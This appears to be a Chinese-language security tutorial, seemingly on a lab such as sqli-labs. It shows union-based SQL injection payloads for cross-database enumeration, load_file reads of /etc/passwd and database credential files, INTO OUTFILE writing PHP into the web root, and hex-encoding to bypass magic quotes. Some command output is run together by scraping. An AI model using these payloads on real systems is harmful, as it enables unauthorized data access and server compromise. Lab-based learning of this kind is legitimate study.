本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据
获取到数据库名称
1 2 3 4 5 6 7 8 9 10 11 mysql> use information_schema;select  SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。
1 2 3 4 5 6 7 8 9 10 11 mysql> select  TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit  0,5;in  set  (0.00 sec)
存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。
1 2 3 4 5 6 7 8 9 10 mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
用户权限表。内容源自 mysql.user 授权表。是非标准表。
1 2 3 4 5 6 7 8 9 10 11 mysql> SELECT * FROM USER_PRIVILEGES limit  0,5;'root' @'localhost'  | def           | SELECT         | YES          |'root' @'localhost'  | def           | INSERT         | YES          |'root' @'localhost'  | def           | UPDATE         | YES          |'root' @'localhost'  | def           | DELETE         | YES          |'root' @'localhost'  | def           | CREATE         | YES          |in  set  (0.00 sec)
二、跨库攻击 1 2 3 在同一个数据库管理系统中,sql 注入漏洞,并且权限为root,可以以此去操作另一个数据库
前提准备   (获取最高权限进行跨库攻击)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 mysql> create database book;in  set  (0.00 sec)date              | YES  |     | NULL    |                |in  set  (0.00 sec)
打开网页进行查询当前数据库的用户
1 ?id= -1 %20 union%20 select %201 , user(), 3 
获取到当前网页的数据库名?id=-1%20union%20select%201,database(),3
获取到当前网站的数据库是security
1 2 3 数据库A=网站A=数据库用户A	——>表名——>列名——>数据
备注: 这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,当然这是最基础的数据库模型,现在大网站都是分布式数据库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mysql> use mysql;select  host,user,password from user;in  set  (0.00 sec)
在源码中查看使用的是哪一个用户
1 2 3 4 5 6 7 8 9 10 root@2c8a2316583a:/var/www/html$dbuser  ='root' ;$dbpass  ='' ;$dbname  ="security" ;$host  = 'localhost' ;$dbname1  = "challenges" ;
一般在网站安装的时候会指定数据库的用户名和密码这里指定的是root用户密码为空指定的数据库是security
 跨库查询的前提条件是必须高权限 的用户才能执行跨库查询。
1 ?id= -1 %20 union%20 select %201 , schema_name, 3 %20 from%20 information_schema.schemata
数据库中执行
1 2 3 4 5 6 7 8 9 mysql> SELECT * FROM users  WHERE id =-1 union select  1,schema_name,3 from information_schema.schemata LIMIT 0,1;id  | username           | password |in  set  (0.00 sec)
1 union  select  1 ,group_concat(schema_name ),3  from  information_schema.schemata
备注:GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。  
等同于在数据库中执行以下命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mysql> use security;for  completion of table and column namesusers  WHERE id =-1 union select  1,group_concat(schema_name),3 from information_schema.schemata  LIMIT 0,1;id  | username                                                             | password |in  set  (0.00 sec)
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'
等同于在数据库中执行以下命令
1 2 3 4 5 6 7 8 9 mysql> SELECT * FROM users  WHERE id =-1 union select  1,group_concat(table_name),3 from information_schema.tables where  table_schema='book'   LIMIT 0,1;id  | username | password |in  set  (0.00 sec)
3、获取指定数据库book下的book表的列名信息 
 
1 union  select  1 ,group_concat(column_name ),3  from  information_schema.columns  where  table_name ='book'  and  table_schema='book' 
等同于以下的数据库命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mysql> use security;for  completion of table and column namesusers  WHERE id =-1 union select  1,group_concat(column_name),3 from information_schema.columns where  table_name='book'  and table_schema='book'   LIMIT 0,1;id  | username                                       | password |in  set  (0.00 sec)
1 2 3 4 5 6 7 8 9 mysql> SELECT * FROM users  WHERE id =-1 union  select  book_id,book_title,book_author from book.book  LIMIT 0,1;id  | username | password |in  set  (0.00 sec)
备注: username和password字段是users表中的字段,又因为查询到的数据为空执行后面的联合字句的时候将内容填充到下面所以获取到的内容并不是十分准确,另外要内容十分准确必须要满足book表和user表的结构完全相同
三、文件读写函数 参考地址:https://www.sqlsec.com/2020/11/mysql.html 
load_file 											 文件读取
into outfile  或 into dumpfile 		文件写入
查询是否有写入的权限
1 2 3 4 5 6 mysql> show global variables like '%secure_file_priv%' ;
Value 
说明 
 
 
NULL 
不允许导入或导出 
 
/tmp 
只允许在 /tmp 目录导入导出 
 
空 
不限制目录 
 
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 mysql> select  load_file('/etc/passwd' )\G;'/etc/passwd' ): root:x:0:0:root:/root:/bin/bashsync :x:4:65534:sync :/bin:/bin/syncin  set  (0.00 sec)
读取敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669 
在网站上面读取内容:?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3
读取数据库的配置信息
1 ?id=-1 %20 union%20 select%201 ,load_file(%27/ var / www / html / sql -connections / db -creds .inc %27) ,3 
右击查看源代码
1 2 3 4 5 6 7 8 9 10 mysql> select  '<?php phpinfo() ?>'  into outfile './php' ;select  '<?php phpinfo() ?>'  into outfile '/var/www/php' ;'t create/write to file ' /var/www/php' (Errcode: 13) mysql> 
在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。
对目录修改权限测试
1 2 3 4 5 6 7 mysql> select  '<?php phpinfo() ?>'  into outfile '/var/www/html/test.php' ;'t create/write to file ' /var/www/html/test.php' (Errcode: 13) mysql> \q root@06026a1599f9:/# chmod -Rf 777 /var/www/html/ root@06026a1599f9:/# mysql mysql> select ' <?php phpinfo() ?>' into outfile ' /var/www/html/test.php'; mysql> 
在网页上写入
1 2 3 4 5 6 7 root@06026a1599f9:/var/lib/mysql
四、魔术引号开关    魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。
  正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。
        简单的SQL注入示例,假设有一个数据库user,我们要传一个参数查询某个用户的信息,我们会调用某个接口,传一个参数给接口,类似于http://域名/?c=xxx&a=xxx&user=xxx,现在我们想查询一个叫codeman的人的信息,那么user=codeman,后台接收到参数之后,执行类似于下面的SQL语句。
1 SELECT * FROM `user` WHERE `user` = 'codeman' ;
        如果在接收数据时后台不进行转义,那么久可能让恶意的SQL注入攻击发生,假设我们现在传递一个user=codeman’or’1’=’1,传到后台执行的SQL语句变成:
1 SELECT * FROM `user` WHERE `user` = 'codeman'  or '1'  or '1' ;
 为什么在PHP5.4.0及其之后PHP版本中被取消了呢?  
1 2 3 4 5 6 PHP 5.5.9-1ubuntu4.13 (cli) (built: Sep 29 2015 15:24:49)
(1)可移植性:
编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开,并据此编程。 
(2)性能
        由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。
(3)方便
由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 ‘。针对这个问题,可以使用 stripslashes() 函数处理。[
](https://blog.csdn.net/hyh1123176978/article/details/53893579 )
phpstudy环境中PHP版本选择为5.2.17时在php.ini文件中魔术引号的开关 
选择SQL注入的关卡1阅读源码$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";这一句中我们要是想注入的话必须让前面的’闭合,但是我们开启了魔术引号开关我发生这样的事情。
就是在我们注入的时候添加的’会在之后会自动添加\'将我们注入语句给注释掉从而失败。将魔术引号关闭之后然后重启phpstudy就可以正常的注入。
由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示
开启了魔术引号之后
绕过方法 
采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
编码软件:winhex
五、int函数 对输入的数字进行判断是否
1 2 3 4 5 6 7 if (is_int($id )){$sql ="SELECT * FROM users WHERE id=$id  LIMIT 0,1" ;echo  $sql ;$result =mysql_query($sql );else {echo  'ni shi ge jj?' ;
防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。